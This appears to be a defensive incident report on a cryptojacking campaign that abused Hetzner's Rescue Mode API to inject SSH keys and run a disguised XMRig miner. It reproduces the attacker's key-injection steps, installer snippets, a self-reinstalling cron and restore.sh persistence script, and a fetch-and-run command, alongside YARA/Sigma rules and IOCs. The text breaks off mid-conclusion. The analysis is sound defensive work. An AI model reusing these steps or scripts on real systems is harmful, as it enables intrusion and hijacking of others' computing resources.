Note: This analysis is based on a real incident involving a compromised Hetzner Cloud VPS. All IOCs, hashes, and wallet addresses are from the live investigation and are provided for threat intelligence sharing and defensive purposes only.
Abstract
This report presents a detailed technical analysis of a real-world cryptojacking campaign targeting Hetzner Cloud infrastructure. The attack leveraged stolen cloud console credentials to exploit the Hetzner Rescue Mode API — a hypervisor-level feature — to inject SSH keys into a running virtual machine without any guest-level exploit. The attacker deployed XMRig 6.25.0 disguised as systemd-bench, established a multi-layer persistence architecture with automatic reinstallation capabilities, and attempted to deploy a RemnaWave VPN proxy node for dual monetization. Mining pool intelligence reveals a campaign of at least 243 compromise attempts across multiple hosting providers, with 35 concurrently active mining workers generating approximately $0.72 USD/day. This paper provides full IOCs, MITRE ATT&CK mapping, and detection guidance for defenders.
Table of Contents
- Introduction
- Initial Access: Cloud Control Plane Exploitation
- SSH Key Injection via Rescue Mode
- Reconnaissance Phase
- XMRig Miner: Binary Analysis
- Installer Script: Full Code Analysis
- Persistence Architecture
- Network Evasion and C2 Characteristics
- RemnaWave VPN: Dual Monetization
- Mining Pool Intelligence
- Attacker OPSEC Assessment
- MITRE ATT&CK Mapping
- Detection and Hunting Guidance
- Indicators of Compromise
- Conclusion
1. Introduction
Cloud infrastructure has become a prime target for cryptojacking operations. Unlike traditional server compromises that exploit software vulnerabilities or brute-force SSH credentials, this campaign demonstrates a more sophisticated approach: abusing cloud provider control plane APIs to achieve hypervisor-level access, completely bypassing guest-level security controls including SSH key restrictions, firewall rules, and intrusion detection systems.
The incident was discovered on a Hetzner Cloud VPS (Instance #62482258, CX22 plan, Singapore datacenter) running Ubuntu 24.04 LTS. The server hosted a production web application and had standard hardening applied — SSH key-only authentication, UFW firewall, and regular security updates. None of these measures were relevant to the attack vector used.
Key characteristics of this campaign:
- No guest-level exploit: The attacker never exploited a vulnerability in the operating system, application, or SSH daemon
- Cloud API abuse: Hetzner's Rescue Mode API was weaponized to mount and modify the VM's disk from outside the guest
- 2FA bypass via credential theft: Both the cloud console password and TOTP seed were stolen simultaneously from a password manager
- Dual monetization: Cryptocurrency mining (XMRig/Monero) and VPN proxy resale (RemnaWave)
- Professional automation: 806-line Russian-language installer with auto-recovery, health monitoring, and silent reinstallation
- Campaign scale: 243+ compromise attempts, 35 active workers across Hetzner, Vultr, and other providers
2. Initial Access: Cloud Control Plane Exploitation
2.1 Credential Acquisition
The attacker obtained the victim's Hetzner Cloud Console credentials through stealer log markets. The critical vulnerability was a single point of failure in credential storage: both the Hetzner account password and TOTP 2FA seed were stored in the same 1Password vault.
Modern infostealer malware (Raccoon, RedLine, Vidar, Lumma) routinely exfiltrate:
- Browser-stored passwords and autofill data
- Session cookies from authenticated services
- Password manager vault exports and clipboard captures
- SSH keys and API tokens from
~/.config/,~/.ssh/, etc.
The stolen credentials were likely packaged into stealer logs and sold on underground Telegram channels, where credentials are searchable by service domain (e.g., hetzner.com). The attacker purchased Hetzner-specific credentials as part of a bulk operation.
2.2 Why 2FA Did Not Help
Because the TOTP seed was stored alongside the password, the attacker could generate valid 2FA codes at will. This single data source gave complete console access without requiring any MFA bypass exploit, session hijacking, or real-time phishing.
Lesson: Storing the password and TOTP seed in the same vault reduces 2FA to a single-factor authentication scheme. The TOTP seed should be stored in a separate application (e.g., hardware key, dedicated authenticator app) to maintain true two-factor protection.
2.3 API Token Exposure
Additionally, a Hetzner API token with Read+Write permissions was found stored in plaintext at ~/.config/hcloud/cli.toml on the victim's local machine. The same token was hardcoded in 11+ deployment scripts across 4 projects. API tokens bypass 2FA entirely — they provide direct API access without password or TOTP verification.
# ~/.config/hcloud/cli.toml — plaintext token storage (known issue: hetznercloud/cli#808)
active_context = "innora-context"
[[contexts]]
name = "innora-context"
token = "YBohBHaeT7JmBXUWQJZFTPxZB1T8..." # Full Read+Write access
3. SSH Key Injection via Rescue Mode
3.1 The Impossible Timestamp
Forensic analysis of the compromised VM revealed a critical anomaly. The file /root/.ssh/authorized_keys was modified at 2026-03-02 01:50:22.284963858 UTC — a timestamp that falls between the VM's shutdown and boot sequences:
01:39:01 Last normal cron job execution
01:45:35 qemu-ga: guest-ping called (hypervisor → VM health check)
01:47:03 Systemd shutdown begins (all services stopping)
01:47:03 QEMU Guest Agent stopped
01:47:03 EXT4 volume unmounted
01:50:22 *** authorized_keys MODIFIED *** (VM offline, disk accessible)
01:51:25 New kernel boots (6.8.0-101-generic)
01:51:36 Attacker SSH login from 82.162.122.144
No process inside the VM could have modified this file during shutdown. Cloud-init's SSH module was configured as once-per-instance and confirmed skipped in logs. No systemd shutdown hooks or cron jobs triggered file modifications.
3.2 Rescue Mode Attack Chain
The modification was performed through Hetzner's Rescue Mode — a hypervisor-level feature that boots the VM from an in-memory Debian rescue system, allowing direct access to the VM's disk:
Step 1: Attacker uploads SSH key to Hetzner Console
POST /ssh_keys { "name": "sanya-key", "public_key": "ssh-ed25519 AAAA..." }
Step 2: Attacker enables Rescue Mode with their key
POST /servers/{id}/actions/enable_rescue { "ssh_keys": ["sanya-key"] }
Step 3: Attacker triggers VM reboot
POST /servers/{id}/actions/reboot
Step 4: VM shuts down (01:47:03), boots into Rescue System
Step 5: Attacker SSHs into Rescue System using sanya-key
Step 6: Attacker mounts production disk
mount /dev/sda1 /mnt
Step 7: Attacker appends their operational key to authorized_keys
echo "ssh-ed25519 AAAA...fQwU" >> /mnt/root/.ssh/authorized_keys
Step 8: Attacker reboots from Rescue back to normal OS
Step 9: VM boots normally (01:51:25)
Step 10: Attacker SSHs in using the injected key (01:51:36)
Evidence from Hetzner Console: An unauthorized SSH key named sanya-key (fingerprint: 4c:4a:c8:1c:a7:e3:12:15:99:65:77:f1:3b:ab:ad:b4) was found in the Console's Security > SSH keys section, created on the exact date of the compromise.
3.3 The Injected Operational Key
The key injected into authorized_keys was different from the Console-level sanya-key. This is a deliberate separation:
- Console key (
sanya-key): Used only for Rescue Mode bootstrapping - Operational key: Used for persistent SSH access to the live VM
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILzoNOiTmlWlB0tGrL7CPjHGSX+VeoOkDqeLjAeWfQwU
Fingerprint: SHA256:po9SzNdFeZY77d5wLNkx80bjjyF+bn2wveAS2j60zek
Notable: The operational key has no comment field — all legitimate keys in the file had user@host comments. The absence of a comment is consistent with programmatic/automated key injection.
4. Reconnaissance Phase
4.1 Timeline: March 2 (Day 0)
The attacker established two concurrent SSH sessions from 82.162.122.144 for 2-4 hours of reconnaissance:
| Session | Duration | Activity | |---------|----------|----------| | pts/0 | 01:51 - 03:56 (2h 4m) | System exploration, process enumeration | | pts/1 | 02:11 - 04:27 (2h 15m) | Deeper investigation, credential discovery |
Commands observed in bash_history:
id— privilege verification (confirmed root)wget -qO - bench.sh | bash— server benchmarking (CPU/memory/disk assessment)- Direct access to Binance API credentials found in bash history, querying account balances
4.2 Dormancy Period (4 Days)
The attacker did not return for 4 days (March 2-6). This dormancy is consistent with:
- Batch processing workflow: Compromise multiple targets first, monetize later
- Target prioritization: Assess server resources and determine deployment parameters
- OPSEC: Temporal separation between initial access and malware deployment
The worker name work232_web (sequential number 232) confirms this is one target among hundreds in a larger campaign.
5. XMRig Miner: Binary Analysis
5.1 Binary Properties
| Attribute | Value |
|-----------|-------|
| Filename | systemd-bench (masquerading as systemd component) |
| True Identity | XMRig 6.25.0 |
| SHA256 | 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46 |
| Build ID | 7957727edae3fe27250377f345994aa2ba7f5143 |
| File Type | ELF 64-bit LSB executable, x86-64, statically linked, stripped |
| Size | 7.9 MB (8,334,576 bytes) |
| Compiler | GCC (from .gcc_except_table section) |
| Build Path | /home/buildbot/xmrig/scripts/build/ |
| OpenSSL | 3.0.16 (11 Feb 2025) — statically linked |
| hwloc | 2.12.1 — statically linked (CPU topology detection) |
| Linking | Fully static — zero external library dependencies |
5.2 Static Linking Strategy
The binary is fully statically linked, embedding OpenSSL 3.0.16 and hwloc 2.12.1 directly. This design choice serves multiple purposes:
- Portability: Runs on any Linux distribution without dependency installation
- Detection evasion: No shared library loading events to monitor
- Self-contained deployment: Single-file drop, no package manager footprint
- Resistance to library updates: Host system updates cannot break functionality
5.3 Binary Masquerading (T1036.005)
The binary is renamed from xmrig to systemd-bench, mimicking legitimate systemd tooling. The naming convention is carefully chosen:
systemd-prefix: Blends with legitimate systemd processes (systemd-journald,systemd-resolved, etc.)-benchsuffix: Plausible as a benchmarking tool if questioned- Hidden installation directory:
/root/.system-cache/(dot-prefixed directory)
5.4 Build Infrastructure
The build path /home/buildbot/xmrig/scripts/build/ indicates:
- Automated CI/CD build system (buildbot user)
- Standard XMRig build scripts — not a custom fork
- The attacker uses unmodified, official XMRig releases downloaded directly from GitHub
This is characteristic of commodity cryptojacking — the operator lacks the capability or motivation to customize the miner binary, relying instead on operational tradecraft (deployment scripts, persistence mechanisms) for campaign management.
5.5 Mining Configuration
The miner configuration file (.bench.json) reveals the attacker's operational parameters:
{
"pools": [{
"coin": "monero",
"url": "pool.supportxmr.com:443",
"user": "4ABnCJEm7Umfip66JRPJ35JtdDkM6BWrA1JqXMDMfQaVVxECJS584THY6cm4y6STLDW9H5fAGoCpebvYrj3PKWy6DiXd75r",
"pass": "work232_web",
"tls": true,
"keepalive": true
}],
"cpu": {
"enabled": true,
"huge-pages": false,
"hw-aes": true,
"priority": 3,
"yield": true,
"max-threads-hint": 100,
"asm": true
},
"http": { "enabled": false },
"donate-level": 1,
"syslog": false,
"verbose": 0,
"pause-on-battery": false,
"pause-on-active": false
}
Configuration analysis:
| Parameter | Value | Purpose |
|-----------|-------|---------|
| tls: true | Pool connection over TLS (port 443) | Encrypts mining traffic, evades network-level DPI |
| keepalive: true | Persistent pool connection | Reduces connection churn, avoids repeated DNS lookups |
| http.enabled: false | XMRig HTTP API disabled | Eliminates local API detection surface |
| yield: true | Yields CPU to other processes | Reduces visible performance impact on host |
| priority: 3 | Below-normal CPU priority | Minimizes impact on legitimate workloads |
| verbose: 0 | Minimal logging | Reduces disk I/O and log footprint |
| syslog: false | No syslog output | Avoids leaving traces in system logs |
| donate-level: 1 | 1% hashrate to XMRig devs | Default value — attacker did not disable donation |
| pause-on-active: false | Never pauses | Server environment — no interactive users to hide from |
The pass field contains the worker name work232_web, which doubles as an identifier in the mining pool's worker dashboard. The suffix _web is appended from the last 3 characters of the hostname, providing the attacker with a quick reference to the type of compromised host.
6. Installer Script: Full Code Analysis
6.1 Overview
The installer (install_bench.sh) is an 806-line Bash script written entirely in Russian. It functions as a complete XMRig deployment and management framework with interactive and silent modes.
Header:
#!/bin/bash
#==============================================================================
# XMRig Auto Installer & Manager
# Автоматическая установка с защитой от удаления
# (Automatic installation with deletion protection)
#==============================================================================
6.2 System Detection
The script begins with OS and architecture detection:
detect_system() {
OS_TYPE=$(uname -s | tr '[:upper:]' '[:lower:]') # linux, freebsd
ARCH=$(uname -m) # x86_64, aarch64/arm64
}
Supported platforms:
- Linux x86_64 (primary target)
- Linux ARM64
- FreeBSD x86_64
- FreeBSD ARM64
FreeBSD support suggests the attacker also targets BSD-based hosting environments (e.g., DigitalOcean FreeBSD droplets).
6.3 Version Discovery
The script dynamically queries the GitHub Releases API to discover available XMRig versions:
get_available_versions() {
VERSIONS_JSON=$(curl -s --max-time 10 \
https://api.github.com/repos/xmrig/xmrig/releases)
# Extracts version tags and verifies binary availability for target platform
# Falls back to hardcoded versions: 6.22.0, 6.21.3, 6.20.0
}
This approach ensures the installer always deploys the latest available version without hardcoding download URLs. The fallback versions provide resilience against GitHub API rate limiting.
6.4 Worker Naming Convention
get_worker_name() {
HOSTNAME_SUFFIX=$(hostname | tail -c 4)
# Prompts attacker for base name, appends hostname suffix
WORKER_NAME="${WORKER_BASE}_${HOSTNAME_SUFFIX}"
}
The naming pattern {base}_{hostname_suffix} creates unique worker identifiers that encode:
- Base: Attacker-assigned sequential number (e.g.,
work232) - Suffix: Last 3 characters of hostname (e.g.,
webfrominnora-web)
This structured naming enables the attacker to:
- Track individual compromised hosts in the mining pool dashboard
- Quickly identify and categorize compromised infrastructure
- Detect when workers go offline (indicating cleanup/discovery)
6.5 Download and Deployment
get_download_url() {
DOWNLOAD_FILE="xmrig-${XMRIG_VERSION}-linux-static-x64.tar.gz"
DOWNLOAD_URL="https://github.com/xmrig/xmrig/releases/download/v${XMRIG_VERSION}/${DOWNLOAD_FILE}"
}
The binary is downloaded directly from official GitHub releases — the attacker does not host modified binaries on personal infrastructure. After extraction:
# Rename xmrig to systemd-bench (masquerading)
mv "$FOUND_BINARY" "$BINARY_NAME" && chmod +x "$BINARY_NAME"
# Clean up download artifacts
rm -rf xmrig-* xmrig.tar.gz
6.6 Management Utilities
The installer creates two convenience scripts in /usr/local/bin/:
miner-status: Displays PID, CPU/memory usage, uptime, and recent mining statistics.
ps -p "$PID" -o %cpu,%mem,etime --no-headers
tail -50 "$LOG_FILE" | grep -E "(speed|accepted)" | tail -3
miner-stop: Graceful shutdown with SIGTERM, escalating to SIGKILL, plus pkill -f cleanup.
These utilities indicate the attacker manually manages compromised hosts — they SSH in periodically to check mining status, adjust threads, or troubleshoot issues.
7. Persistence Architecture
The persistence design is the most sophisticated aspect of this campaign. It implements a three-layer architecture that survives binary deletion, process termination, and system reboots.
7.1 Layer 1: Crontab Persistence (T1053.003)
@reboot sleep 90 && /etc/xmrig-restore/restore.sh
*/30 * * * * /etc/xmrig-restore/restore.sh
- Boot persistence: After reboot, waits 90 seconds (allowing system services to stabilize) before checking miner status
- Health monitoring: Every 30 minutes, verifies the miner is running and restarts if necessary
- The 90-second boot delay avoids competing with system initialization and reduces suspicious early-boot process patterns
7.2 Layer 2: Restore Script
/etc/xmrig-restore/restore.sh implements a two-stage recovery:
#!/bin/bash
source /etc/xmrig-restore/config.env 2>/dev/null || exit 1
# Stage 1: Binary existence check
if [ ! -f "$INSTALL_DIR/$BINARY_NAME" ]; then
echo "$(date): Miner not found, starting reinstall" >> /var/log/xmrig-restore.log
cd /etc/xmrig-restore
./install_bench.sh --silent # Full reinstallation from GitHub
exit 0
fi
# Stage 2: Process liveness check
if [ -f "$PID_FILE" ]; then
PID=$(cat "$PID_FILE")
if ps -p "$PID" > /dev/null 2>&1; then
exit 0 # Running normally
fi
fi
# Restart dead process
nohup ./"$BINARY_NAME" --config="$CONFIG_NAME" --threads="$THREADS" > "$LOG_NAME" 2>&1 &
echo $! > "$PID_FILE"
Recovery capabilities:
- If the binary is deleted: triggers complete reinstallation from GitHub
- If the process crashes: restarts from existing binary
- If the PID file is stale: cleans up and restarts
- All events logged to
/var/log/xmrig-restore.log
7.3 Layer 3: Configuration Backup
/etc/xmrig-restore/config.env stores all deployment parameters:
WORKER_NAME="work232_web"
THREADS=2
XMRIG_VERSION="6.25.0"
XMR_WALLET="4ABnCJEm7Umfip66...DiXd75r"
POOL_URL="pool.supportxmr.com:443"
INSTALL_DIR="/root/.system-cache"
BINARY_NAME="systemd-bench"
CONFIG_NAME=".bench.json"
PID_FILE="/var/run/.bench.pid"
This enables the --silent mode of install_bench.sh to perform a complete reinstallation without interactive input — the restore script passes this flag when triggered by crontab.
7.4 Persistence Filesystem Layout
/root/.system-cache/ # Hidden installation directory
├── systemd-bench # XMRig binary (masqueraded)
├── .bench.json # Mining configuration
├── .bench.log # Mining output log
└── .bench.pid → /var/run/ # PID file (symlinked)
/etc/xmrig-restore/ # Persistence directory
├── install_bench.sh # Full installer (copy)
├── restore.sh # Health check + restart script
└── config.env # Deployment parameters backup
/usr/local/bin/ # Management tools
├── miner-status # Status checker
└── miner-stop # Graceful shutdown
/var/run/.bench.pid # Runtime PID file
/var/log/xmrig-restore.log # Restore event log
7.5 Defeating the Persistence
To fully remove this persistence system, all layers must be addressed:
# 1. Kill the process
kill -9 $(cat /var/run/.bench.pid); pkill -f systemd-bench
# 2. Remove crontab entries
crontab -l | grep -v xmrig-restore | crontab -
# 3. Delete all files
rm -rf /root/.system-cache/ /root/.system/ /etc/xmrig-restore/
rm -f /usr/local/bin/miner-status /usr/local/bin/miner-stop
rm -f /var/run/.bench.pid /var/log/xmrig-restore.log
# 4. Remove attacker's SSH key from authorized_keys
Removing only the binary or killing the process without addressing crontab and /etc/xmrig-restore/ will result in automatic reinstallation within 30 minutes.
8. Network Evasion and C2 Characteristics
8.1 TLS-Encrypted Mining Traffic
The miner connects to pool.supportxmr.com:443 using TLS encryption. By using the standard HTTPS port (443) with TLS, the mining traffic is:
- Indistinguishable from HTTPS traffic at the network layer
- Resistant to deep packet inspection without TLS termination
- Resistant to signature-based IDS (encrypted Stratum protocol)
The pool's IP 141.95.72.60 (OVH, Germany) exposes standard mining infrastructure:
- Port 443: TLS mining (used by this campaign)
- Port 3333/5555/7777: Plaintext Stratum protocols
- Port 18080: Monero RPC
- Port 9000: Additional mining endpoint
8.2 No Traditional C2 Channel
This campaign does not use a traditional Command & Control server. Instead, control is exercised through:
- Direct SSH access: The attacker's injected SSH key provides on-demand root access for manual management
- Mining pool as implicit C2: The pool connection provides a heartbeat — the attacker monitors worker status through the SupportXMR dashboard
- Crontab as scheduled tasking: The restore script serves as a local task scheduler, ensuring the miner remains operational
This "C2-less" architecture makes the campaign harder to disrupt through C2 takedown — there is no single infrastructure point to block (the mining pool is a legitimate service with many users).
8.3 Network Modifications
The attacker modified the host's network stack for optimal performance:
# BBR congestion control (reduces packet loss, improves throughput)
modprobe tcp_bbr
echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf
sysctl -p
BBR (Bottleneck Bandwidth and Round-trip propagation time) is Google's TCP congestion control algorithm. Enabling it improves mining pool connection stability, particularly on VPS instances with variable network quality.
8.4 Firewall Modifications
ufw allow 2222 # RemnaWave VPN node port
ufw allow 8443 # RemnaWave/proxy
ufw allow 3443 # RemnaWave/proxy
ufw allow 443 # TLS (already open for mining)
ufw allow 58888 # Unknown service
These firewall changes were for the RemnaWave VPN node (which ultimately failed to deploy). The mining traffic itself required no firewall changes since outbound connections to port 443 are typically allowed by default.
9. RemnaWave VPN: Dual Monetization
9.1 What is RemnaWave?
RemnaWave is a legitimate open-source proxy management panel built on Xray-core. It provides:
- VLESS, VMess, and Trojan protocol support
- User management dashboard with subscription tracking
- Telegram bot integration for user provisioning
- Node management for distributed proxy infrastructure
It is commonly used in Russia and CIS countries for circumventing internet censorship.
9.2 Attacker's Deployment
The attacker deployed a RemnaWave node (not the management panel) via Docker:
# /opt/remnanode/docker-compose.yml
services:
remnawave-node:
image: remnawave/node:latest
network_mode: host
ports:
- "2222:2222"
environment:
- SECRET_KEY=<base64-encoded-key> # Links to attacker's panel
- NODE_PORT=2222
The network_mode: host configuration gives the container full access to the host's network stack, and the SECRET_KEY links this node to the attacker's central management panel.
9.3 Dual Monetization Model
This deployment reveals a dual monetization strategy:
| Revenue Stream | Tool | Income Model | |---------------|------|-------------| | Cryptocurrency mining | XMRig | Direct XMR earnings from CPU hashrate | | Proxy resale | RemnaWave | Selling VPN/proxy access through compromised IPs |
Proxy resale is potentially more profitable than mining — residential or datacenter IPs from various geolocations command premium prices on gray/black markets. Each compromised VPS provides a unique exit IP.
9.4 Failure of VPN Deployment
The RemnaWave container never successfully started — it was not found in docker ps output at the time of discovery. Possible reasons:
- Docker image pull failure
- Container configuration error
- Insufficient system resources alongside the miner
- The attacker may have abandoned this deployment in favor of mining-only
10. Mining Pool Intelligence
10.1 Wallet Dashboard
The attacker's Monero wallet was queried on the SupportXMR pool's public dashboard:
| Metric | Value | |--------|-------| | Total XMR Earned | ~0.98 XMR (~$147 USD at $150/XMR) | | Current Hashrate | 62.2 KH/s | | 8hr Average | 61.5 KH/s | | Total Hashes Computed | 1.21 trillion | | Active Workers | 35 | | Invalid Shares | 0 | | Est. Daily Revenue | 0.0048 XMR/day (~$0.72 USD) |
10.2 Worker Taxonomy
The 35 active workers follow a structured naming convention:
Category 1: het — Hetzner Infrastructure (4 workers, 46% of hashrate)
| Worker | Hashrate | Analysis |
|--------|----------|----------|
| het1_et1 | 4.5 KH/s | Likely 2-4 CPU core Hetzner VPS |
| het2_et2 | 8.5 KH/s | Likely 4-8 CPU core Hetzner VPS |
| het3_et3 | 5.9 KH/s | Likely 2-4 CPU core Hetzner VPS |
| het4_et4 | 9.5 KH/s | Likely 4-8 CPU core Hetzner VPS |
These may represent the attacker's own Hetzner instances or additional compromised customer servers.
Category 2: work — Compromised Victim Hosts (30 workers)
Worker names encode geographic and domain intelligence through suffixes:
.ru— Russian domain hostslon— London datacenterntu— Possibly NTU (university)com/net— Commercial hosting targets2gb— Server with 2GB RAM (attacker tracks specs)yar— Possibly Yaroslavl (Russian city)
Worker numbering ranges from work11 to work243, suggesting 243+ total compromise attempts with a ~14% survival rate (35 active / 243 attempted).
Category 3: vu — Alternative Providers (1 worker)
| Worker | Hashrate | Analysis |
|--------|----------|----------|
| vu1_ltr | 438 H/s | Likely Vultr VPS |
10.3 Our Compromised Server
Worker work232_web appeared as OFFLINE in the pool dashboard, confirming successful cleanup.
10.4 Campaign Economics
| Metric | Value | |--------|-------| | Daily revenue | ~$0.72 USD | | Monthly revenue | ~$21.60 USD | | Total earned to date | ~$147 USD | | Active infrastructure | 35 workers | | Estimated total attempts | 243+ | | Revenue per worker/day | ~$0.02 USD |
The low financial yield ($0.72/day) confirms this is an opportunistic, automated operation where marginal revenue is acceptable because operational costs are zero (all compute is stolen). The attacker's true cost is time spent purchasing credentials and deploying miners.
11. Attacker OPSEC Assessment
11.1 Attribution Indicators
| Indicator | Value | Confidence |
|-----------|-------|------------|
| SSH Key Name | "sanya-key" (Саня — Russian for Alexander) | HIGH |
| Source IP | 82.162.122.144 (Vladivostok, Russia, PJSC MTS) | HIGH |
| Script Language | Russian throughout (comments, prompts, error messages) | CONFIRMED |
| Worker Naming | Includes .ru suffixes, yar (Yaroslavl) | MEDIUM |
| RemnaWave | Popular in Russian VPN/proxy community | MEDIUM |
11.2 OPSEC Weaknesses
The attacker demonstrates poor operational security:
- No log cleanup:
bash_historycontains the complete attack sequence, including the installer commands - No timestamp manipulation: File modification times reveal the exact attack timeline
- Residential IP: Not using Tor, VPN, or bulletproof hosting — the SSH login IP traces to a residential ISP in Vladivostok
- Personal identifier: The "sanya-key" name reveals a likely given name
- Unmodified XMRig: No binary customization, hash obfuscation, or process name randomization beyond the simple rename
- Management tools left behind:
miner-statusandminer-stopin/usr/local/bin/provide additional forensic evidence
11.3 Threat Actor Profile
Based on the evidence, the attacker is assessed as:
- Individual or small group (not organized crime or APT)
- Russian-speaking (native level, not machine-translated)
- Moderate technical skill: Cloud API exploitation is above average, but OPSEC failures indicate limited counter-forensics experience
- Financially motivated: Dual monetization (mining + proxy resale) with commodity tools
- Operates at scale: 243+ targets suggest automation and bulk credential purchasing
12. MITRE ATT&CK Mapping
| Tactic | ID | Technique | Evidence |
|--------|-----|-----------|----------|
| Initial Access | T1078.004 | Valid Accounts: Cloud Accounts | Stolen Hetzner Console credentials |
| Persistence | T1098.004 | Account Manipulation: SSH Authorized Keys | Key injection via Rescue Mode |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | @reboot + */30 * * * * restore.sh |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name | systemd-bench mimics systemd |
| Defense Evasion | T1027.002 | Obfuscated Files: Software Packing | Statically linked, stripped binary |
| Defense Evasion | T1070.003 | Indicator Removal: Clear Command History | Not performed (OPSEC failure) |
| Discovery | T1057 | Process Discovery | htop during reconnaissance |
| Credential Access | T1552.001 | Unsecured Credentials: In Files | Binance API keys from bash_history |
| Impact | T1496 | Resource Hijacking | XMRig at 195% CPU (2 full cores) |
| Command & Control | T1572 | Protocol Tunneling | RemnaWave VPN node (attempted) |
| Command & Control | T1071.001 | Application Layer Protocol: Web | TLS-encrypted Stratum over port 443 |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Mining output sent via pool connection |
13. Detection and Hunting Guidance
13.1 Host-Based Detection
Process Indicators:
# Detect masqueraded XMRig processes
ps aux | grep -E 'systemd-bench|\.bench\.' | grep -v grep
# Detect XMRig by CPU pattern (near-100% per thread)
ps aux --sort=-%cpu | head -5
# Check for hidden mining directories
ls -la /root/.system-cache/ /root/.system/ 2>/dev/null
# Check for persistence in crontab
crontab -l | grep -E 'xmrig|restore|bench'
# Check for restore infrastructure
ls -la /etc/xmrig-restore/ 2>/dev/null
# Check for management tools
ls -la /usr/local/bin/miner-* 2>/dev/null
File-Based Indicators:
# Search for XMRig configuration files
find / -name "*.json" -exec grep -l "pool.supportxmr.com\|xmrig\|monero" {} \; 2>/dev/null
# Search for XMRig binaries by strings
find / -type f -executable -exec sh -c 'strings "$1" 2>/dev/null | grep -q "XMRig" && echo "$1"' _ {} \; 2>/dev/null
# Check for unauthorized SSH keys (keys without comments are suspicious)
grep -v '#' /root/.ssh/authorized_keys | while read line; do
echo "$line" | grep -q '@' || echo "SUSPICIOUS (no comment): $line"
done
13.2 Network-Based Detection
Mining Pool Connections:
# Detect connections to known mining pools
ss -tnp | grep -E ':443|:3333|:5555|:7777' | grep -v nginx
# DNS-based detection
grep -E 'supportxmr|nanopool|hashvault|minexmr|pool\.' /var/log/syslog
# Detect high-bandwidth sustained outbound connections
# (mining produces steady, low-bandwidth traffic — ~1-5 KB/s)
TLS Certificate Analysis: Mining pools often use self-signed certificates. Monitoring for TLS connections to hosts with self-signed certificates on port 443 can help identify encrypted mining traffic.
13.3 Cloud Control Plane Monitoring
For Hetzner Cloud specifically:
# Monitor Hetzner API for suspicious actions
# Check for: enable_rescue, reboot, ssh_keys creation
# These should be alerted on if not triggered by known automation
# Review SSH keys in Hetzner Console
# Any key not recognized by the team is an IOC
# Monitor API token creation/usage
# New tokens or token usage from unfamiliar IPs should trigger alerts
13.4 YARA Rule
rule XMRig_Cryptojacker_SystemdBench {
meta:
description = "Detects XMRig masquerading as systemd-bench"
author = "Innora Security"
date = "2026-03-08"
reference = "Hetzner Cloud Cryptojacking Campaign"
strings:
$xmrig1 = "XMRig" ascii
$xmrig2 = "xmrig" ascii
$pool1 = "supportxmr.com" ascii
$pool2 = "stratum+tcp://" ascii
$pool3 = "stratum+ssl://" ascii
$bench1 = "systemd-bench" ascii
$bench2 = ".bench.json" ascii
$build = "/home/buildbot/xmrig" ascii
$randomx = "RandomX" ascii
condition:
uint32(0) == 0x464C457F and // ELF magic
filesize > 5MB and filesize < 15MB and
(2 of ($xmrig*, $pool*, $randomx)) or
(1 of ($bench*) and 1 of ($xmrig*)) or
($build)
}
13.5 Sigma Rules
title: XMRig Cryptojacker via systemd-bench Masquerading
id: a1b2c3d4-5678-90ab-cdef-123456789abc
status: experimental
description: Detects XMRig miner masquerading as systemd-bench
logsource:
category: process_creation
product: linux
detection:
selection_name:
Image|endswith: '/systemd-bench'
selection_args:
CommandLine|contains:
- '.bench.json'
- '--threads='
- 'supportxmr'
condition: selection_name or selection_args
level: critical
tags:
- attack.impact
- attack.t1496
- attack.defense_evasion
- attack.t1036.005
title: XMRig Restore Persistence via Crontab
id: b2c3d4e5-6789-0abc-def1-234567890bcd
status: experimental
description: Detects crontab-based XMRig persistence mechanism
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains:
- 'xmrig-restore'
- 'restore.sh'
- 'install_bench.sh --silent'
condition: selection
level: high
tags:
- attack.persistence
- attack.t1053.003
14. Indicators of Compromise
14.1 Network IOCs
| Type | Value | Context |
|------|-------|---------|
| Attacker IP | 82.162.122.144 | SSH login source (Vladivostok, Russia) |
| Mining Pool | pool.supportxmr.com:443 | TLS-encrypted Stratum |
| Pool IP | 141.95.72.60 | OVH GmbH, Germany |
14.2 File IOCs
| Type | Value |
|------|-------|
| SHA256 (XMRig binary) | 96fc528ca5e7d1c2b3add5e31b8797cb126f704976c8fbeaecdbf0aa4309ad46 |
| Build ID | 7957727edae3fe27250377f345994aa2ba7f5143 |
| Binary path | /root/.system-cache/systemd-bench |
| Config path | /root/.system-cache/.bench.json |
| Installer path | /etc/xmrig-restore/install_bench.sh |
| Restore script | /etc/xmrig-restore/restore.sh |
| Config backup | /etc/xmrig-restore/config.env |
| PID file | /var/run/.bench.pid |
| Status tool | /usr/local/bin/miner-status |
| Stop tool | /usr/local/bin/miner-stop |
| VPN config | /opt/remnanode/docker-compose.yml |
14.3 SSH Key IOCs
| Key | Fingerprint | Context |
|-----|-------------|---------|
| Console key | MD5: 4c:4a:c8:1c:a7:e3:12:15:99:65:77:f1:3b:ab:ad:b4 | "sanya-key" in Hetzner Console |
| Operational key | SHA256: po9SzNdFeZY77d5wLNkx80bjjyF+bn2wveAS2j60zek | Injected into authorized_keys |
14.4 Monero Wallet
4ABnCJEm7Umfip66JRPJ35JtdDkM6BWrA1JqXMDMfQaVVxECJS584THY6cm4y6STLDW9H5fAGoCpebvYrj3PKWy6DiXd75r
14.5 Process IOCs
| Indicator | Value |
|-----------|-------|
| Process name | systemd-bench |
| Arguments | --config=.bench.json --threads=2 |
| CPU pattern | ~100% per configured thread |
| Memory | ~250-300 MB (RandomX dataset) |
| Worker name | work{N}_{suffix} pattern |
15. Conclusion
This campaign illustrates the evolving threat landscape for cloud infrastructure. The attacker exploited the cloud control plane rather than the guest operating system, rendering traditional host-level security measures ineffective. The combination of stolen credentials, API-level access, and hypervisor features (Rescue Mode) provided a path to compromise that no amount of SSH hardening, firewall rules, or intrusion detection could prevent.
Key takeaways for defenders:
-
Cloud account credentials are the new perimeter. Protect cloud console access with the same rigor as root SSH keys. Never store passwords and TOTP seeds in the same vault.
-
API tokens bypass 2FA. Cloud API tokens provide direct, unauthenticated API access. Treat them as root credentials — rotate regularly, grant minimal permissions, and never hardcode in source files.
-
